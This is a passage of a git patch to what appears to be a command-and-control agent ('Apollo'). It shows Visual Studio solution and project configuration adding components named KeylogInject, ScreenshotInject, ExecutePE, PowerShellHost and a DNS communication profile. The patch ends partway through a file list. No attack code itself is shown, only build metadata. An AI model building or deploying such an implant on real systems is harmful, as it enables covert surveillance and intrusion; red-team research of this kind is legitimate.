+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EncryptedFileStore", "EncryptedFileStore\EncryptedFileStore.csproj", "{21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PowerShellHost", "PowerShellHost\PowerShellHost.csproj", "{1D897A8A-1394-4561-B31C-D8312462500C}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ScreenshotInject", "ScreenshotInject\ScreenshotInject.csproj", "{E05B7224-D965-422C-9B12-E6DEE1BFAC64}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "KeylogInject", "KeylogInject\KeylogInject.csproj", "{6EACC51E-1E46-4C6F-9516-B71F09AD00D1}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ExecutePE", "ExecutePE\ExecutePE.csproj", "{44D50BF5-4C12-4328-B983-0045C157D932}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "DnsProfile", "DnsProfile\DnsProfile.csproj", "{2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.ActiveCfg = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x64.Build.0 = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.ActiveCfg = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Debug|x86.Build.0 = Debug|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.ActiveCfg = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|Any CPU.Build.0 = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.ActiveCfg = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x64.Build.0 = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.ActiveCfg = Release|Any CPU + {5B5BD587-7DCA-4306-B1C3-83A70D755F37}.Release|x86.Build.0 = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|Any CPU.Build.0 = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.ActiveCfg = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x64.Build.0 = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.ActiveCfg = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Debug|x86.Build.0 = Debug|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.ActiveCfg = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|Any CPU.Build.0 = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.ActiveCfg = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x64.Build.0 = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.ActiveCfg = Release|Any CPU + {74B393F3-4000-49AC-8116-DCCDB5F52344}.Release|x86.Build.0 = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.ActiveCfg = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x64.Build.0 = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.ActiveCfg = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Debug|x86.Build.0 = Debug|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|Any CPU.Build.0 = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.ActiveCfg = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x64.Build.0 = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.ActiveCfg = Release|Any CPU + {C8FC8D87-30DB-4FC5-880A-9CD7D156127A}.Release|x86.Build.0 = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.ActiveCfg = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x64.Build.0 = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.ActiveCfg = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Debug|x86.Build.0 = Debug|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|Any CPU.Build.0 = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.ActiveCfg = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x64.Build.0 = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.ActiveCfg = Release|Any CPU + {ED320CE0-C28F-4B07-A353-9B14C261E8A3}.Release|x86.Build.0 = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.ActiveCfg = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x64.Build.0 = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.ActiveCfg = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Debug|x86.Build.0 = Debug|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|Any CPU.Build.0 = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.ActiveCfg = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x64.Build.0 = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.ActiveCfg = Release|Any CPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C}.Release|x86.Build.0 = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.ActiveCfg = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x64.Build.0 = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.ActiveCfg = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Debug|x86.Build.0 = Debug|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|Any CPU.Build.0 = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.ActiveCfg = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x64.Build.0 = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.ActiveCfg = Release|Any CPU + {3AF39094-7F42-4444-A278-FA656EB4678F}.Release|x86.Build.0 = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.ActiveCfg = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x64.Build.0 = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.ActiveCfg = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Debug|x86.Build.0 = Debug|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|Any CPU.Build.0 = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.ActiveCfg = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x64.Build.0 = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.ActiveCfg = Release|Any CPU + {B9BDA393-C258-44D3-8266-D62265008BD4}.Release|x86.Build.0 = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.ActiveCfg = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x64.Build.0 = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.ActiveCfg = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Debug|x86.Build.0 = Debug|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.ActiveCfg = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|Any CPU.Build.0 = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.ActiveCfg = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x64.Build.0 = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.ActiveCfg = Release|Any CPU + {ADD40B1E-3C2E-4046-B574-FA0ED70FC64D}.Release|x86.Build.0 = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.ActiveCfg = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x64.Build.0 = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.ActiveCfg = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Debug|x86.Build.0 = Debug|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|Any CPU.Build.0 = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.ActiveCfg = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x64.Build.0 = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.ActiveCfg = Release|Any CPU + {E4724425-FC2D-40AE-9506-553D5D9DD929}.Release|x86.Build.0 = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.ActiveCfg = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x64.Build.0 = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.ActiveCfg = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Debug|x86.Build.0 = Debug|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|Any CPU.Build.0 = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.ActiveCfg = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x64.Build.0 = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.ActiveCfg = Release|Any CPU + {6008A59E-80A4-4790-8FE3-01DE201D71B3}.Release|x86.Build.0 = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.ActiveCfg = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x64.Build.0 = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.ActiveCfg = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Debug|x86.Build.0 = Debug|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|Any CPU.Build.0 = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.ActiveCfg = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x64.Build.0 = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.ActiveCfg = Release|Any CPU + {8806CD1D-AA64-4E9F-91C7-B579765549B0}.Release|x86.Build.0 = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|Any CPU.Build.0 = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.ActiveCfg = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x64.Build.0 = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.ActiveCfg = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Debug|x86.Build.0 = Debug|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.ActiveCfg = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|Any CPU.Build.0 = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.ActiveCfg = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x64.Build.0 = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.ActiveCfg = Release|Any CPU + {21B9B3FA-ACBF-4ED2-A0BB-2782E708F6F9}.Release|x86.Build.0 = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.ActiveCfg = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x64.Build.0 = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.ActiveCfg = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Debug|x86.Build.0 = Debug|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|Any CPU.Build.0 = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.ActiveCfg = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x64.Build.0 = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.ActiveCfg = Release|Any CPU + {1D897A8A-1394-4561-B31C-D8312462500C}.Release|x86.Build.0 = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.ActiveCfg = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x64.Build.0 = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.ActiveCfg = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Debug|x86.Build.0 = Debug|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|Any CPU.Build.0 = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.ActiveCfg = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x64.Build.0 = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.ActiveCfg = Release|Any CPU + {E05B7224-D965-422C-9B12-E6DEE1BFAC64}.Release|x86.Build.0 = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|Any CPU.Build.0 = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.ActiveCfg = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x64.Build.0 = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.ActiveCfg = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Debug|x86.Build.0 = Debug|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|Any CPU.Build.0 = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.ActiveCfg = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x64.Build.0 = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.ActiveCfg = Release|Any CPU + {6EACC51E-1E46-4C6F-9516-B71F09AD00D1}.Release|x86.Build.0 = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|Any CPU.Build.0 = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.ActiveCfg = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x64.Build.0 = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.ActiveCfg = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Debug|x86.Build.0 = Debug|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.ActiveCfg = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|Any CPU.Build.0 = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.ActiveCfg = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x64.Build.0 = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.ActiveCfg = Release|Any CPU + {44D50BF5-4C12-4328-B983-0045C157D932}.Release|x86.Build.0 = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|x64.ActiveCfg = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|x64.Build.0 = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|x86.ActiveCfg = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Debug|x86.Build.0 = Debug|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|Any CPU.Build.0 = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|x64.ActiveCfg = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|x64.Build.0 = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|x86.ActiveCfg = Release|Any CPU + {2ED749A9-A6FF-4C49-BDA5-E3435E50DD5E}.Release|x86.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {A35FB84A-D206-4916-ACEE-A747AE767E76} + EndGlobalSection +EndGlobal diff --git a/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj index 2d21d7f9..562dc1c5 100644 --- a/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/agent_code/Apollo/Apollo.csproj @@ -1,142 +1,146 @@ - - - - - Debug - AnyCPU - {F606A86C-39AF-4B5A-B146-F14EDC1D762C} - Exe - Apollo - Apollo - v4.0 - 512 - true - - - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll - False - - - - - ..\packages\Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0\lib\net4\System.Management.Automation.dll - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - {5b5bd587-7dca-4306-b1c3-83a70d755f37} - ApolloInterop - - - {21b9b3fa-acbf-4ed2-a0bb-2782e708f6f9} - EncryptedFileStore - - - {74b393f3-4000-49ac-8116-dccdb5f52344} - HttpProfile - - - {e4724425-fc2d-40ae-9506-553d5d9dd929} - Injection - - - {3af39094-7f42-4444-a278-fa656eb4678f} - NamedPipeProfile - - - {ed320ce0-c28f-4b07-a353-9b14c261e8a3} - PlaintextCryptography - - - {6008a59e-80a4-4790-8fe3-01de201d71b3} - Process - - - {c8fc8d87-30db-4fc5-880a-9cd7d156127a} - PSKCryptography - - - {b9bda393-c258-44d3-8266-d62265008bd4} - Tasks - - - {add40b1e-3c2e-4046-b574-fa0ed70fc64d} - TcpProfile - - - - - - - - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - + + + + + Debug + AnyCPU + {F606A86C-39AF-4B5A-B146-F14EDC1D762C} + Exe + Apollo + Apollo + v4.0 + 512 + true + + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll + False + + + + + ..\packages\Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0\lib\net4\System.Management.Automation.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + {5b5bd587-7dca-4306-b1c3-83a70d755f37} + ApolloInterop + + + {2ed749a9-a6ff-4c49-bda5-e3435e50dd5e} + DnsProfile + + + {21b9b3fa-acbf-4ed2-a0bb-2782e708f6f9} + EncryptedFileStore + + + {74b393f3-4000-49ac-8116-dccdb5f52344} + HttpProfile + + + {e4724425-fc2d-40ae-9506-553d5d9dd929} + Injection + + + {3af39094-7f42-4444-a278-fa656eb4678f} + NamedPipeProfile + + + {ed320ce0-c28f-4b07-a353-9b14c261e8a3} + PlaintextCryptography + + + {6008a59e-80a4-4790-8fe3-01de201d71b3} + Process + + + {c8fc8d87-30db-4fc5-880a-9cd7d156127a} + PSKCryptography + + + {b9bda393-c258-44d3-8266-d62265008bd4} + Tasks + + + {add40b1e-3c2e-4046-b574-fa0ed70fc64d} + TcpProfile + + + + + + + + + + + + + + This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. + + + + + \ No newline at end of file From 3863d179366da7324b747271c4272b94f26fc8fe Mon Sep 17 00:00:00 2001 From: mayllart <14459910+thiagomayllart@users.noreply.github.com> Date: Fri, 24 Dec 2021 02:02:52 -0300 Subject: [PATCH 3/7] DnsProfile added --- .../agent_code/DnsProfile/DnsProfile.cs | 951 ++++++++++++++++++ .../agent_code/DnsProfile/DnsProfile.csproj | 78 ++ .../agent_code/DnsProfile/DnsRip/Enums.cs | 24 + .../DnsRip/Extensions/Extensions.cs | 79 ++ .../DnsProfile/DnsRip/Models/DnsHeader.cs | 95 ++ .../DnsProfile/DnsRip/Models/DnsQuestion.cs | 83 ++ .../DnsProfile/DnsRip/Models/DnsRequest.cs | 27 + .../DnsProfile/DnsRip/Models/DnsResponse.cs | 44 + .../DnsProfile/DnsRip/Models/ParseResult.cs | 10 + .../DnsProfile/DnsRip/Models/Record.cs | 6 + .../DnsProfile/DnsRip/Models/RecordA.cs | 20 + .../DnsProfile/DnsRip/Models/RecordAaaa.cs | 29 + .../DnsProfile/DnsRip/Models/RecordCName.cs | 19 + .../DnsProfile/DnsRip/Models/RecordMx.cs | 21 + .../DnsProfile/DnsRip/Models/RecordNs.cs | 19 + .../DnsProfile/DnsRip/Models/RecordPtr.cs | 19 + .../DnsProfile/DnsRip/Models/RecordSoa.cs | 31 + .../DnsProfile/DnsRip/Models/RecordTxt.cs | 31 + .../DnsProfile/DnsRip/Models/RecordUnknown.cs | 10 + .../DnsRip/Models/ResolveResponse.cs | 11 + .../agent_code/DnsProfile/DnsRip/Parser.cs | 38 + .../agent_code/DnsProfile/DnsRip/Resolver.cs | 96 ++ .../DnsRip/Utilites/AdditionalReader.cs | 10 + .../DnsRip/Utilites/AnswerReader.cs | 10 + .../DnsRip/Utilites/AuthorityReader.cs | 10 + .../DnsRip/Utilites/RecordHelper.cs | 133 +++ .../DnsRip/Utilites/RecordReader.cs | 30 + .../DnsRip/Utilites/SocketHelper.cs | 42 + .../DnsProfile/DnsRip/Utilites/Validator.cs | 67 ++ .../DnsProfile/Properties/AssemblyInfo.cs | 36 + 30 files changed, 2079 insertions(+) create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsProfile.csproj create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Enums.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Extensions/Extensions.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsHeader.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsQuestion.cs create mode 100644 Payload_Type/apollo/agent_code/DnsProfile/DnsRip/Models/DnsRequest.cs create mode 100644 